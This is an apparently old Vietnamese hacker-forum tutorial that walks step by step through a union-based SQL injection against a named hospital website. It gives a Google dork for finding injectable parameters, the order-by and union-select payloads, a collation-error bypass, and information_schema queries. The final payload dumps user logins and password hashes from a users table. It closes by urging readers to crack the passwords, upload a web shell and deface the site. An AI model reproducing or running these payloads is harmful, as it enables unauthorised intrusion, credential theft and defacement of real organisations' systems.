Tut hack qua lỗi Sql Injection cơ bản
Topic này ít like mốt éo share nữa
tut viết từ 2016 thì phải, lục trong thẻ nhớ thì thấy
Chào các bạn, hôm nay Danhthong sẽ hướng dẫn các bạn khai thác lỗi sql injection
.
victim : cthospital.vn
- đầu tiên phải tìm dạng select id để check
- search google : site:cthospital.vn inurl:id=
- chọn bừa 1 link đi
vd : cthospital.vn/selftest/show.php?Action=LoadDiseareInformation&Id=12&Script...
- ở đây ta chỉ quan tâm phần id thôi,mấy cái khác không quan trọng.
- thêm ' vào xem lỗi syntax không.
- à lỗi rồi
tiến hành check thôi
- đầu tiên xem table mình đang select có bao nhiêu column đã.
- thêm order by [number]-- vào
- ?id=12+order+by+10-- ( dấu + được coi như dấu cách )
- site vẫn bình thường chứng tỏ column >= 10
- tăng lên nhé ?id=12+order+by+15-- ~> ko lỗi
- order+by+20-- ~> ko lỗi
- order+by+25-- ~> unknown column '25' in 'order clause' . Vậy số column nhỏ hơn 25
- query tiếp : order+by+23-- ~> lỗi
- order+by+21-- ~> lỗi => số column là 20.
- tiếp theo phải xem column lỗi.
dùng union select dãy column
- thay id bằng null hoặc số ko tồn tại
Query : ...id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
- ồ, xem nào "2(3) triệu chứng 6 điều trị 8 phòng ngừa 10"
- vậy các column có nhiệm vụ select ra dữ liệu lần lượt là 2,3,6,8.10.
- nghịch tí nào
Id=-1+union+select+1,'danhthong',' we are blackcat',4,5,'dep trai',7,8,9,10,11,12,13,14,15,16,17,18,19,20--
- nó hiện ra rồi kìa, site này khai thác tương đối khoẻ vì không phải chạy đi covert sang hex cho mệt, vì có thể thay bằng cặp nháy đơn ' ',rất thích hợp cho mấy người lười như mình =))
- việc tiếp theo là phải xem tên các table
- để xem table ta sẽ thêm group_concat(table_name) vào 1 column lỗi để nó hiện nội dung ra
- và thêm from+information_schema.tables+where+table_schema=database()--
- link hoàn chỉnh : ?id=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.tables+where+table_schema=database()--
- oh shit, lỗi rồi : illgal mix of collations for operation 'union' làm sao đây
- thôi end tut ở đây
.
.
. - đùa tí thôi =)) cái lỗi này sao ngăn cản được sự đẹp trai của ta.
- giải pháp nghĩ đến đó là thêm unhex(hex()) vào group_concat().
- ...1,unhex(hex(group_concat(table_name))),3,4,5,..
- hiện ra 1 list table rồi
- giờ ta cần tìm table chứa info đăng nhập
- nhìn thằng danhba_users khả nghi vl
chọn nó đi
- để xem column bạn chỉ cần thay table_name trong group_concat() thành column_name.
- thay .tables ở information_schema.tables thành .columns
- thay table_schema=database()-- thành table_name='danhba_users'-- ( vì dùng nháy đơn đc nên ko cần covert hex )
- chà hiện ra rồi, giờ ta xem trong id, user_login và user_pass có gì nhé
- thay column_name trong group_concat() thành group_concat(id,'+-+',user_login,'+-+',user_pass)
- thay nguyên đoạn from+information.... bằng from danhba_users
Link hoàn chỉnh : id=-1+union+select+1,unhex(hex(group_concat(id,'+-+',user_login,'+-+',user_pass))),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+danhba_users--
- ra thông tin đăng nhập rồi, giờ chỉ việc decrypt pass và tìm link đăng nhập,tìm cách up shell => deface thôi
- chúc các bạn thành công.
==[ Tut by Danhthong ]==